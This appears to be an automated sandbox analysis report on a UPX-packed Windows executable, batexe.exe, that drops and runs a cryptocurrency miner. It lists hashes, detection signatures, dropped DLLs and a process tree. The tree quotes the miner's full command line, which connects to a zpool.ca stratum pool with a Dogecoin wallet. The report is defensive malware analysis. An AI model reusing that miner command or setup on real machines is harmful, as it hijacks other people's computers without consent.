73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 03:22

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2264	b2e.exe
2396	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2396	cpuminer-sse2.exe
2396	cpuminer-sse2.exe
2396	cpuminer-sse2.exe
2396	cpuminer-sse2.exe
2396	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4976-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4976 wrote to memory of 2264	4976	batexe.exe	75
PID 4976 wrote to memory of 2264	4976	batexe.exe	75
PID 4976 wrote to memory of 2264	4976	batexe.exe	75
PID 2264 wrote to memory of 4912	2264	b2e.exe	76
PID 2264 wrote to memory of 4912	2264	b2e.exe	76
PID 2264 wrote to memory of 4912	2264	b2e.exe	76
PID 4912 wrote to memory of 2396	4912	cmd.exe	79
PID 4912 wrote to memory of 2396	4912	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4976
- C:\Users\Admin\AppData\Local\Temp\BDD2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BDD2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BDD2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BDD2.tmp\b2e.exe

Filesize
3.1MB

MD5
b824ae33d9394d4d7b44ebfedaee4ca1

SHA1
437a305a1805405ba8e83ff955a635d8e11aa76c

SHA256
014bab7ed267c11959efd36d14cdf496b9328b7002f359a0674c8c2d35bf9864

SHA512
c867f29ae4a72e8b776c672a3d28357c946b4b279c87704e22aa9d8f522b07cbd83c0c6b7a6bf7e610d9af4385a860b553883528b1d09446d00472fb7c307916

Download Submit
C:\Users\Admin\AppData\Local\Temp\BDD2.tmp\b2e.exe

Filesize
3.3MB

MD5
052b49aa6ae0994f1bc030c7b561dee5

SHA1
e7576565e3fda62e6ba38dfd34e32f8edfa3e474

SHA256
a54686178962b8fee9b7b9ad57fca0ee13ed89c8fc60f58d96fe4e3834f48b62

SHA512
a29de746627dd1ca3389898d9051ce664f817f09455998f1fd940900191fd81203da024216c2a4df1e0021b7d02cea441d30cbe726a3ceaf15d73092041d9e51

Download Submit
C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
464e13ee93cf54f4c081e539e0a3d018

SHA1
5092b2c7e35fd2b6d3572d1a5ca0447e862e0ef2

SHA256
0d61d72afff0b9536b626cc1f57f5b24c4e508b7467141080911bdd3d6ad40dd

SHA512
14c07ff7ba1a5e85b97883a821515bc1b9b51c04988ffad9688cf7031a9e166c151233e78604f11ae757e92bb0554a22c6e71ac67952f64230eb45eaedd08ca3

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
e09eb66aa9a9d0326398a9860b0a6ebc

SHA1
a80c2b04b701a65146d7623540c6ba933ecd7312

SHA256
dc1cfc4272c2ae788b1d2cabb916b950fd9c2d06bf73d8f86bc28076a4bce3f5

SHA512
4bb6f686fc55caf5e480b0537f05261c7ac3b5a6fdaf97b9e07dfa76996609e2a6a333a89f33e755b0304cd00daf5f2b3b989009a6d03526a3199d2ac674988d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
911f4bf949aa891b94a71a1fc6c49974

SHA1
1c04242f8a5ff76e924830243651d5724c0e1674

SHA256
c8f5f57839528f3b2189512449bb428ec7a9c73ad16afc0f76088a817406d071

SHA512
ae6eb57d944ba91812a442c9cfe7e36ff291b1a688e61ecd11d86a8dab838c2d0948b8f1e4ebbe28bb74133f7171dc39914f58e029c98d41b315dbcde29fbeda

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2264-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2264-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2396-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2396-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-42-0x0000000069D40000-0x0000000069DD8000-memory.dmp

Filesize
608KB

Download
memory/2396-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/2396-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2396-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2396-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4976-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download